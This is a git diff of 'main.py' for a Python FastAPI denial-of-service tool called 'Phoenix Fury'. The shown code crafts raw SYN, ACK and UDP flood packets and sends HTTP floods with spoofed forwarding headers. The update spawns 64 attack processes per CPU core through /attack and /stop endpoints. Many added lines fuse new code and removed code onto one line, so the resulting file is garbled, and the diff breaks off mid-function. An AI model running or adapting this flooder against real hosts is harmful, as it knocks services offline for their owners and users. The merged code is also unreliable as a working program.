Update main.py

main.py

@@ -1,255 +1,507 @@
-import socket
-import struct
-import random
-import time
-import multiprocessing
-import threading
-import asyncio
-import aiohttp
-import os
-import sys
-import psutil
-import ssl
-from typing import Literal, List, Union
+#!/usr/bin/env python3import socket
+
+"""import struct
+
+Phoenix Fury v8.0 - NUCLEAR MODEimport random
+
+Maximum CPU/RAM utilization for extreme RPSimport time
+
+"""import multiprocessing
+
+import socketimport threading
+
+import multiprocessingimport asyncio
+
+import timeimport aiohttp
+
+import osimport os
+
+from ctypes import c_ulonglongimport sys
+
+from fastapi import FastAPI, BackgroundTasksimport psutil
+
+from pydantic import BaseModelimport ssl
+
+import uvicornfrom typing import Literal, List, Union
+
 from ctypes import c_ulonglong
 
+app = FastAPI(title="Phoenix Fury v8.0 - NUCLEAR MODE")
+
 # Use uvloop for a significant performance boost
-try:
-    import uvloop
-    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
-except ImportError:
-    pass
 
-from fastapi import FastAPI, HTTPException, BackgroundTasks
+# ============================================================================try:
+
+# AUTO-CONFIG: USE ALL AVAILABLE RESOURCES    import uvloop
+
+# ============================================================================    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
+
+CPU_COUNT = os.cpu_count() or 8except ImportError:
+
+# NUCLEAR MODE: 64 processes per CPU core!    pass
+
+TOTAL_PROCESSES = CPU_COUNT * 64  # 48 cores = 3,072 processes
+
+REQUESTS_PER_BURST = 1000  # Each process sends 1000 reqs per connectionfrom fastapi import FastAPI, HTTPException, BackgroundTasks
+
 from pydantic import BaseModel, Field
-import uvicorn
 
-# --- Application Setup ---
+print(f"[NUCLEAR MODE] {CPU_COUNT} cores detected")import uvicorn
+
+print(f"[NUCLEAR MODE] Spawning {TOTAL_PROCESSES} attack processes")
+
+print(f"[NUCLEAR MODE] Expected: {TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,} RPS")# --- Application Setup ---
+
 app = FastAPI(
-    title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
-    description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
-    version="7.0.0"
-)
 
-# --- Auto-Optimized Configuration ---
-CPU_COUNT = psutil.cpu_count(logical=True) or 8
+# ============================================================================    title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
+
+# MODELS    description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
+
+# ============================================================================    version="7.0.0"
+
+class AttackConfig(BaseModel):)
+
+    target: str
+
+    port: int = 80# --- Auto-Optimized Configuration ---
+
+    duration: int = 60CPU_COUNT = psutil.cpu_count(logical=True) or 8
+
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-# REALISTIC CONFIG - Fewer processes that actually work
-def calculate_optimal_config():
-    """Calculate reasonable process count."""
-    # MUCH FEWER processes - focus on making them work!
-    if CPU_COUNT >= 32:
-        MAX_PROCESSES = CPU_COUNT * 2  # 64-96 processes for 32-48 cores
-    elif CPU_COUNT >= 16:
-        MAX_PROCESSES = CPU_COUNT * 3  # 48 processes for 16 cores
-    elif CPU_COUNT >= 8:
-        MAX_PROCESSES = CPU_COUNT * 4  # 32 processes for 8 cores
-    elif CPU_COUNT >= 4:
-        MAX_PROCESSES = CPU_COUNT * 6  # 24 processes for 4 cores
-    else:
-        MAX_PROCESSES = CPU_COUNT * 8  # 16 processes for 2 cores
-    
-    REQUESTS_PER_CONNECTION = 500  # Send 500 requests per socket
-    total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
+# ============================================================================
+
+# ULTRA-AGGRESSIVE WORKER - MAXIMUM SPEED# REALISTIC CONFIG - Fewer processes that actually work
+
+# ============================================================================def calculate_optimal_config():
+
+def nuclear_worker(worker_id, target_ip, port, stop_flag, counter):    """Calculate reasonable process count."""
+
+    """    # MUCH FEWER processes - focus on making them work!
+
+    Ultra-aggressive worker: tight loop, no error handling, maximum speed.    if CPU_COUNT >= 32:
+
+    """        MAX_PROCESSES = CPU_COUNT * 2  # 64-96 processes for 32-48 cores
+
+    # Pre-build request (minimal)    elif CPU_COUNT >= 16:
+
+    request = f"GET /?w={worker_id}&c={{}} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n".encode()        MAX_PROCESSES = CPU_COUNT * 3  # 48 processes for 16 cores
+
+        elif CPU_COUNT >= 8:
+
+    local_count = 0        MAX_PROCESSES = CPU_COUNT * 4  # 32 processes for 8 cores
+
+    req_num = 0    elif CPU_COUNT >= 4:
+
+            MAX_PROCESSES = CPU_COUNT * 6  # 24 processes for 4 cores
+
+    # INFINITE LOOP: Connect → Blast requests → Reconnect    else:
+
+    while not stop_flag.value:        MAX_PROCESSES = CPU_COUNT * 8  # 16 processes for 2 cores
+
+        sock = None    
+
+        try:    REQUESTS_PER_CONNECTION = 500  # Send 500 requests per socket
+
+            # Fast socket creation    total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
+
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
+
+            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)    return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
+
+            sock.settimeout(2)
+
+            sock.connect((target_ip, port))MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
+
+            STATS_BATCH_UPDATE_SIZE = 100  # Smaller batches for better feedback
+
+            # BLAST REQUESTS - No delays, no checks
+
+            for _ in range(REQUESTS_PER_BURST):# --- L7 Enhanced Headers Pool ---
+
+                try:USER_AGENTS = [
+
+                    sock.send(request.replace(b"{}", str(req_num).encode()))    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
+
+                    local_count += 1    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
+
+                    req_num += 1    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
+
+                except:    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
+
+                    break    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
+
+            ]
+
+            sock.close()REFERERS = [
+
+        except:    "https://www.google.com/search?q=",
+
+            pass  # Ignore ALL errors, keep going    "https://www.bing.com/search?q=",
+
+            "https://www.facebook.com/",
+
+        # Update shared counter every 500 requests    "https://www.twitter.com/",
+
+        if local_count >= 500:    "https://www.reddit.com/",
+
+            counter.value += local_count    "https://www.youtube.com/"
+
+            local_count = 0]
+
     
-    return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
-
-MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
-STATS_BATCH_UPDATE_SIZE = 100  # Smaller batches for better feedback
-
-# --- L7 Enhanced Headers Pool ---
-USER_AGENTS = [
-    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
-    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
-    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
-    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
-    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
-]
-REFERERS = [
-    "https://www.google.com/search?q=",
-    "https://www.bing.com/search?q=",
-    "https://www.facebook.com/",
-    "https://www.twitter.com/",
-    "https://www.reddit.com/",
-    "https://www.youtube.com/"
-]
-
-def get_random_headers() -> dict:
-    """Generates randomized headers with IP spoofing for L7 attacks."""
-    return {
+
+    # Final updatedef get_random_headers() -> dict:
+
+    if local_count > 0:    """Generates randomized headers with IP spoofing for L7 attacks."""
+
+        counter.value += local_count    return {
+
         "User-Agent": random.choice(USER_AGENTS),
-        "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
-        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
-        "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
-        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
-        "Accept-Language": "en-US,en;q=0.9",
-        "Accept-Encoding": "gzip, deflate, br",
-        "Cache-Control": "no-cache",
-        "Pragma": "no-cache"
-    }
 
-# ====================================================================================
-#  Pydantic API Models (Simplified - Auto Max Settings)
-# ====================================================================================
-class BaseAttackConfig(BaseModel):
-    target: str = Field(..., description="Target hostname or IP address")
-    port: int = Field(..., ge=1, le=65535, description="Target port")
-    duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
-
-class L4TCPConfig(BaseAttackConfig):
-    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
-
-class L4UDPConfig(BaseAttackConfig):
-    method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
-    payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")
-
-class L7Config(BaseAttackConfig):
-    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
-    path: str = Field("/", description="Request path")
-
-class StatusResponse(BaseModel):
-    attack_active: bool
-    attack_type: str
-    target_host: str
-    target_ip: str
-    port: int
-    duration: int
-    elapsed_time: float
-    processes: int
-    total_sent: int
-    current_rate_pps_rps: float
-    cpu_usage_percent: float
-    memory_usage_percent: float
+# ============================================================================        "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
+
+# ATTACK MANAGER        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
+
+# ============================================================================        "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
+
+class NuclearAttackManager:        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+
+    def __init__(self):        "Accept-Language": "en-US,en;q=0.9",
+
+        self.active = False        "Accept-Encoding": "gzip, deflate, br",
+
+        self.processes = []        "Cache-Control": "no-cache",
+
+        self.stop_flag = multiprocessing.Value('i', 0)        "Pragma": "no-cache"
+
+        self.counter = multiprocessing.Value(c_ulonglong, 0)    }
+
+        self.start_time = 0
+
+    # ====================================================================================
+
+    def launch(self, target: str, port: int, duration: int):#  Pydantic API Models (Simplified - Auto Max Settings)
+
+        """Launch nuclear attack with ALL processes."""# ====================================================================================
+
+        if self.active:class BaseAttackConfig(BaseModel):
+
+            return    target: str = Field(..., description="Target hostname or IP address")
+
+            port: int = Field(..., ge=1, le=65535, description="Target port")
+
+        self.active = True    duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
+
+        self.stop_flag.value = 0
+
+        self.counter.value = 0class L4TCPConfig(BaseAttackConfig):
+
+        self.start_time = time.time()    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
+
+        self.processes = []
+
+        class L4UDPConfig(BaseAttackConfig):
+
+        # Resolve target    method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
+
+        try:    payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")
+
+            target_ip = socket.gethostbyname(target.replace("http://", "").replace("https://", "").split("/")[0])
+
+        except:class L7Config(BaseAttackConfig):
+
+            target_ip = target    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
+
+            path: str = Field("/", description="Request path")
+
+        print(f"\n{'='*70}")
+
+        print(f"🔥 NUCLEAR ATTACK LAUNCHED")class StatusResponse(BaseModel):
+
+        print(f"   Target: {target_ip}:{port}")    attack_active: bool
+
+        print(f"   Processes: {TOTAL_PROCESSES:,}")    attack_type: str
+
+        print(f"   Duration: {duration}s")    target_host: str
+
+        print(f"{'='*70}\n")    target_ip: str
+
+            port: int
+
+        # Spawn ALL processes at once    duration: int
+
+        for i in range(TOTAL_PROCESSES):    elapsed_time: float
+
+            p = multiprocessing.Process(    processes: int
+
+                target=nuclear_worker,    total_sent: int
+
+                args=(i, target_ip, port, self.stop_flag, self.counter)    current_rate_pps_rps: float
+
+            )    cpu_usage_percent: float
+
+            p.start()    memory_usage_percent: float
+
+            self.processes.append(p)
+
+        # ====================================================================================
+
+        # Stats reporter#  CORE NETWORKING & PACKET CRAFTING
+
+        def report_stats():# ====================================================================================
+
+            last_count = 0def check_root() -> bool:
+
+            last_time = time.time()    """Check if running with root/admin privileges."""
+
+                try:
+
+            while not self.stop_flag.value:        return os.geteuid() == 0
+
+                time.sleep(2)    except AttributeError:
+
+                now = time.time()        import ctypes
+
+                current = self.counter.value        return ctypes.windll.shell32.IsUserAnAdmin() != 0
+
+                rps = (current - last_count) / (now - last_time)
+
+                elapsed = now - self.start_timedef resolve_target(target: str) -> str:
+
+                    """Resolve hostname to IP address."""
+
+                print(f"[{elapsed:.0f}s] Total: {current:,} | Current RPS: {rps:,.0f}")    try:
+
+                        if "://" in target:
+
+                last_count = current            target = target.split("://")[1].split("/")[0]
+
+                last_time = now        return socket.gethostbyname(target)
+
+            except socket.gaierror:
+
+        import threading        raise ValueError(f"Could not resolve hostname: {target}")
+
+        stats_thread = threading.Thread(target=report_stats, daemon=True)
+
+        stats_thread.start()def get_local_ip(target_ip: str) -> str:
+
+            """Get local IP address that routes to target."""
+
+        # Auto-stop after duration    try:
+
+        def auto_stop():        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+
+            time.sleep(duration)        s.connect((target_ip, 1))
+
+            self.terminate()        ip = s.getsockname()[0]
+
+                s.close()
+
+        stop_thread = threading.Thread(target=auto_stop, daemon=True)        return ip
+
+        stop_thread.start()    except:
+
+            return "127.0.0.1"
+
+    def terminate(self):
+
+        """Stop all processes."""def calculate_checksum(data: bytes) -> int:
+
+        if not self.active:    """Calculate IP/TCP/UDP checksum."""
+
+            return    s = 0
+
+            if len(data) % 2:
+
+        print("\n⚠️ Terminating attack...")        data += b'\0'
+
+        self.stop_flag.value = 1    for i in range(0, len(data), 2):
+
+                s += (data[i] << 8) + data[i+1]
+
+        # Give processes 3 seconds to finish    s = (s >> 16) + (s & 0xffff)
+
+        time.sleep(3)    s += (s >> 16)
+
+            return (~s) & 0xffff
+
+        # Force kill remaining
+
+        for p in self.processes:def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
+
+            if p.is_alive():    """Create IP header."""
+
+                p.terminate()    header = struct.pack('!BBHHHBBH4s4s',
+
+                (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
+
+        # Wait for all to die        socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
+
+        for p in self.processes:    )
+
+            p.join(timeout=1)    return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
+
+        
+
+        # Final statsdef create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
+
+        elapsed = time.time() - self.start_time    """Create TCP header with specified flags."""
+
+        total = self.counter.value    seq = random.randint(1, 4294967295)
+
+        avg_rps = total / elapsed if elapsed > 0 else 0    ack_seq = 0
+
+            header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
+
+        print(f"\n{'='*70}")    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
+
+        print(f"✅ ATTACK COMPLETED")    checksum = calculate_checksum(pseudo_header + header)
+
+        print(f"   Total Requests: {total:,}")    return header[:16] + struct.pack('!H', checksum) + header[18:]
+
+        print(f"   Duration: {elapsed:.2f}s")
+
+        print(f"   Average RPS: {avg_rps:,.2f}")def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
+
+        print(f"{'='*70}\n")    """Create UDP header."""
+
+            udp_len = 8 + len(payload)
+
+        self.active = False    header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
+
+        self.processes = []    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
 
-# ====================================================================================
-#  CORE NETWORKING & PACKET CRAFTING
-# ====================================================================================
-def check_root() -> bool:
-    """Check if running with root/admin privileges."""
-    try:
-        return os.geteuid() == 0
-    except AttributeError:
-        import ctypes
-        return ctypes.windll.shell32.IsUserAnAdmin() != 0
-
-def resolve_target(target: str) -> str:
-    """Resolve hostname to IP address."""
-    try:
-        if "://" in target:
-            target = target.split("://")[1].split("/")[0]
-        return socket.gethostbyname(target)
-    except socket.gaierror:
-        raise ValueError(f"Could not resolve hostname: {target}")
-
-def get_local_ip(target_ip: str) -> str:
-    """Get local IP address that routes to target."""
-    try:
-        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-        s.connect((target_ip, 1))
-        ip = s.getsockname()[0]
-        s.close()
-        return ip
-    except:
-        return "127.0.0.1"
-
-def calculate_checksum(data: bytes) -> int:
-    """Calculate IP/TCP/UDP checksum."""
-    s = 0
-    if len(data) % 2:
-        data += b'\0'
-    for i in range(0, len(data), 2):
-        s += (data[i] << 8) + data[i+1]
-    s = (s >> 16) + (s & 0xffff)
-    s += (s >> 16)
-    return (~s) & 0xffff
-
-def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
-    """Create IP header."""
-    header = struct.pack('!BBHHHBBH4s4s',
-        (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
-        socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
-    )
-    return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
-
-def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
-    """Create TCP header with specified flags."""
-    seq = random.randint(1, 4294967295)
-    ack_seq = 0
-    header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
-    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
-    checksum = calculate_checksum(pseudo_header + header)
-    return header[:16] + struct.pack('!H', checksum) + header[18:]
-
-def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
-    """Create UDP header."""
-    udp_len = 8 + len(payload)
-    header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
-    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
     checksum = calculate_checksum(pseudo_header + header + payload)
-    return header[:6] + struct.pack('!H', checksum)
+
+# Global manager    return header[:6] + struct.pack('!H', checksum)
+
+ATTACK_MANAGER = NuclearAttackManager()
 
 # ====================================================================================
-#  OPTIMIZED L4 WORKER PROCESS
-# ====================================================================================
-def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
-    """Ultra-optimized L4 worker with raw sockets."""
-    try:
-        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
-        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-        # Increase socket buffer for higher throughput
-        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
-        local_ip = get_local_ip(target_ip)
-    except Exception as e:
+
+# ============================================================================#  OPTIMIZED L4 WORKER PROCESS
+
+# API ENDPOINTS# ====================================================================================
+
+# ============================================================================def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
+
+@app.get("/")    """Ultra-optimized L4 worker with raw sockets."""
+
+def root():    try:
+
+    return {        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+
+        "name": "Phoenix Fury v8.0 - NUCLEAR MODE",        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+
+        "processes": TOTAL_PROCESSES,        # Increase socket buffer for higher throughput
+
+        "cpu_cores": CPU_COUNT,        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
+
+        "status": "READY" if not ATTACK_MANAGER.active else "ATTACKING"        local_ip = get_local_ip(target_ip)
+
+    }    except Exception as e:
+
         print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr)
-        return
 
-    local_counter = 0
-    flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
+@app.post("/attack")        return
+
+def start_attack(config: AttackConfig, background: BackgroundTasks):
+
+    """Launch nuclear L7 attack."""    local_counter = 0
+
+    if ATTACK_MANAGER.active:    flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
+
+        return {"error": "Attack already in progress"}    
+
+        # Pre-generate payloads for UDP
+
+    background.add_task(    if attack_type == 'udp':
+
+        ATTACK_MANAGER.launch,        if method_details == 'pps' or method_details == 0:
+
+        config.target,            payload = b''
+
+        config.port,        else:
+
+        config.duration            payload = os.urandom(method_details)
+
+    )        udp_len = 8 + len(payload)
+
     
-    # Pre-generate payloads for UDP
-    if attack_type == 'udp':
-        if method_details == 'pps' or method_details == 0:
-            payload = b''
-        else:
-            payload = os.urandom(method_details)
-        udp_len = 8 + len(payload)
-
-    # Packet crafting loop - optimized for speed
-    while not stop_event.is_set():
-        try:
-            src_port = random.randint(10000, 65535)
-            
-            if attack_type == 'tcp':
-                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
+
+    return {    # Packet crafting loop - optimized for speed
+
+        "status": "launched",    while not stop_event.is_set():
+
+        "target": config.target,        try:
+
+        "port": config.port,            src_port = random.randint(10000, 65535)
+
+        "processes": TOTAL_PROCESSES,            
+
+        "expected_rps": f"{TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,}"            if attack_type == 'tcp':
+
+    }                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
+
                 tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
-                packet = ip_header + tcp_header
-            else:  # udp
-                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
-                udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
-                packet = ip_header + udp_header + payload
-            
-            sock.sendto(packet, (target_ip, port))
-            local_counter += 1
+
+@app.post("/stop")                packet = ip_header + tcp_header
+
+def stop_attack():            else:  # udp
+
+    """Stop current attack."""                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
+
+    ATTACK_MANAGER.terminate()                udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
+
+    return {"status": "stopped"}                packet = ip_header + udp_header + payload
+
             
-            # Batch counter updates for performance
-            if local_counter >= STATS_BATCH_UPDATE_SIZE:
-                with shared_counter.get_lock():
-                    shared_counter.value += local_counter
-                local_counter = 0
-        except:
-            pass  # Ignore errors for maximum speed
-    
-    # Final counter update
-    if local_counter > 0:
-        with shared_counter.get_lock():
-            shared_counter.value += local_counter
-    sock.close()
+
+@app.get("/status")            sock.sendto(packet, (target_ip, port))
+
+def get_status():            local_counter += 1
+
+    """Get current attack status."""            
+
+    if not ATTACK_MANAGER.active:            # Batch counter updates for performance
+
+        return {"active": False}            if local_counter >= STATS_BATCH_UPDATE_SIZE:
+
+                    with shared_counter.get_lock():
+
+    elapsed = time.time() - ATTACK_MANAGER.start_time                    shared_counter.value += local_counter
+
+    total = ATTACK_MANAGER.counter.value                local_counter = 0
+
+    current_rps = total / elapsed if elapsed > 0 else 0        except:
+
+                pass  # Ignore errors for maximum speed
+
+    return {    
+
+        "active": True,    # Final counter update
+
+        "elapsed": round(elapsed, 1),    if local_counter > 0:
+
+        "total_requests": total,        with shared_counter.get_lock():
+
+        "current_rps": round(current_rps, 2),            shared_counter.value += local_counter
+
+        "processes": TOTAL_PROCESSES    sock.close()
+
+    }
 
 # ====================================================================================
-#  SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
-# ====================================================================================
-def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
+
+if __name__ == "__main__":#  SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
+
+    multiprocessing.set_start_method('fork', force=True)# ====================================================================================
+
+    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="warning")def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
+
     """L7 worker - SIMPLE blocking approach."""
     use_ssl = (port in [443, 8443])
     host = target_ip